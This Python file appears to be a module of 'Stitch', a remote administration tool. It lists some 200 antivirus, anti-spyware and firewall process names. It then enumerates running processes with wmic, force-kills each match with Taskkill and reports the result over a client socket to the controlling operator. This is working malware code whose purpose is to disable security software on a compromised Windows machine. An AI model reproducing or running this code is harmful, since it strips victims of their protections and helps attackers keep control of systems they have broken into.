# Copyright (c) 2017, Nathan Lopez
# Stitch is under the MIT license. See the LICENSE file at the root of the project for the detailed license terms.

import _winreg
import subprocess

avs = [
  'a2adguard.exe',
  'a2adwizard.exe',
  'a2antidialer.exe',
  'a2cfg.exe',
  'a2cmd.exe',
  'a2free.exe',
  'a2guard.exe',
  'a2hijackfree.exe',
  'a2scan.exe',
  'a2service.exe',
  'a2start.exe',
  'a2sys.exe',
  'a2upd.exe',
  'aavgapi.exe',
  'aawservice.exe',
  'aawtray.exe',
  'ad-aware.exe',
  'ad-watch.exe',
  'alescan.exe',
  'anvir.exe',
  'ashdisp.exe',
  'ashmaisv.exe',
  'ashserv.exe',
  'ashwebsv.exe',
  'aswupdsv.exe',
  'atrack.exe',
  'avgagent.exe',
  'avgamsvr.exe',
  'avgcc.exe',
  'avgctrl.exe',
  'avgemc.exe',
  'avgnt.exe',
  'avgtcpsv.exe',
  'avguard.exe',
  'avgupsvc.exe',
  'avgw.exe',
  'avkbar.exe',
  'avk.exe',
  'avkpop.exe',
  'avkproxy.exe',
  'avkservice.exe',
  'avktray',
  'avktray.exe',
  'avkwctl',
  'avkwctl.exe',
  'avmailc.exe',
  'avp.exe',
  'avpm.exe',
  'avpmwrap.exe',
  'avsched32.exe',
  'avwebgrd.exe',
  'avwin.exe',
  'avwupsrv.exe',
  'avz.exe',
  'bdagent.exe',
  'bdmcon.exe',
  'bdnagent.exe',
  'bdss.exe',
  'bdswitch.exe',
  'blackd.exe',
  'blackice.exe',
  'blink.exe',
  'boc412.exe',
  'boc425.exe',
  'bocore.exe',
  'bootwarn.exe',
  'cavrid.exe',
  'cavtray.exe',
  'ccapp.exe',
  'ccevtmgr.exe',
  'ccimscan.exe',
  'ccproxy.exe',
  'ccpwdsvc.exe',
  'ccpxysvc.exe',
  'ccsetmgr.exe',
  'cfgwiz.exe',
  'cfp.exe',
  'clamd.exe',
  'clamservice.exe',
  'clamtray.exe',
  'cmdagent.exe',
  'cpd.exe',
  'cpf.exe',
  'csinsmnt.exe',
  'dcsuserprot.exe',
  'defensewall.exe',
  'defensewall_serv.exe',
  'defwatch.exe',
  'f-agnt95.exe',
  'fpavupdm.exe',
  'f-prot95.exe',
  'f-prot.exe',
  'fprot.exe',
  'fsaua.exe',
  'fsav32.exe',
  'f-sched.exe',
  'fsdfwd.exe',
  'fsm32.exe',
  'fsma32.exe',
  'fssm32.exe',
  'f-stopw.exe',
  'f-stopw.exe',
  'fwservice.exe',
  'fwsrv.exe',
  'iamstats.exe',
  'iao.exe',
  'icload95.exe',
  'icmon.exe',
  'idsinst.exe',
  'idslu.exe',
  'inetupd.exe',
  'irsetup.exe',
  'isafe.exe',
  'isignup.exe',
  'issvc.exe',
  'kav.exe',
  'kavss.exe',
  'kavsvc.exe',
  'klswd.exe',
  'kpf4gui.exe',
  'kpf4ss.exe',
  'livesrv.exe',
  'lpfw.exe',
  'mcagent.exe',
  'mcdetect.exe',
  'mcmnhdlr.exe',
  'mcrdsvc.exe',
  'mcshield.exe',
  'mctskshd.exe',
  'mcvsshld.exe',
  'mghtml.exe',
  'mpftray.exe',
  'msascui.exe',
  'mscifapp.exe',
  'msfwsvc.exe',
  'msgsys.exe',
  'msssrv.exe',
  'navapsvc.exe',
  'navapw32.exe',
  'navlogon.dll',
  'navstub.exe',
  'navw32.exe',
  'nisemsvr.exe',
  'nisum.exe',
  'nmain.exe',
  'noads.exe',
  'nod32krn.exe',
  'nod32kui.exe',
  'nod32ra.exe',
  'npfmntor.exe',
  'nprotect.exe',
  'nsmdtr.exe',
  'oasclnt.exe',
  'ofcdog.exe',
  'opscan.exe',
  'ossec-agent.exe',
  'outpost.exe',
  'paamsrv.exe',
  'pavfnsvr.exe',
  'pcclient.exe',
  'pccpfw.exe',
  'pccwin98.exe',
  'persfw.exe',
  'protector.exe',
  'qconsole.exe',
  'qdcsfs.exe',
  'rtvscan.exe',
  'sadblock.exe',
  'safe.exe',
  'sandboxieserver.exe',
  'savscan.exe',
  'sbiectrl.exe',
  'sbiesvc.exe',
  'sbserv.exe',
  'scfservice.exe',
  'sched.exe',
  'schedm.exe',
  'scheduler daemon.exe',
  'sdhelp.exe',
  'serv95.exe',
  'sgbhp.exe',
  'sgmain.exe',
  'slee503.exe',
  'smartfix.exe',
  'smc.exe',
  'snoopfreesvc.exe',
  'snoopfreeui.exe',
  'spbbcsvc.exe',
  'sp_rsser.exe',
  'spyblocker.exe',
  'spybotsd.exe',
  'spysweeper.exe',
  'spysweeperui.exe',
  'spywareguard.dll',
  'spywareterminatorshield.exe',
  'ssu.exe',
  'steganos5.exe',
  'stinger.exe',
  'swdoctor.exe',
  'swupdate.exe',
  'symlcsvc.exe',
  'symundo.exe',
  'symwsc.exe',
  'symwscno.exe',
  'tcguard.exe',
  'tds2-98.exe',
  'tds-3.exe',
  'teatimer.exe',
  'tgbbob.exe',
  'tgbstarter.exe',
  'tsatudt.exe',
  'umxagent.exe',
  'umxcfg.exe',
  'umxfwhlp.exe',
  'umxlu.exe',
  'umxpol.exe',
  'umxtray.exe',
  'usrprmpt.exe',
  'vetmsg9x.exe',
  'vetmsg.exe',
  'vptray.exe',
  'vsaccess.exe',
  'vsserv.exe',
  'wcantispy.exe',
  'win-bugsfix.exe',
  'winpatrol.exe',
  'winpa'"'"'rolex.exe',
  'wrsssdk.exe',
  'xcommsvr.exe',
  'xfr.exe',
  'xp-antispy.exe',
  'zegarynka.exe',
  'zlclient.exe'
]

pid = []
process_list = []
process = run_command('wmic process get name, ProcessId')
process = process.split('\n')
for proc in process:
    proc = proc.strip()
    p = proc.split()
    if len(p) > 1:
        name = p[0]
        procid = p[1]
        if 'exe' in name:
            if name in avs:
                process_list.append(proc)
                pid.append(p[1])

if len(process_list) > 0 and len(process_list) == len(pid):
    av_summary = 'Terminating all Possible AVs, HIPS and/or Third Party firewalls:\n'
    av_summary += 'Image Name:\t\t    PID:'
    av_summary += '===========\t\t    ===='
    for n in process_list:
        av_summary += n
    i = 0
    while i < len(pid):
        run_command('Taskkill /PID %s /F' % pid[i])
        i += 1
    av_summary += '\n\nTerminations are complete.'
else:
    av_summary = "No AVs, HIPS and/or Third Party firewalls detected.\n"
send(client_socket,av_summary)
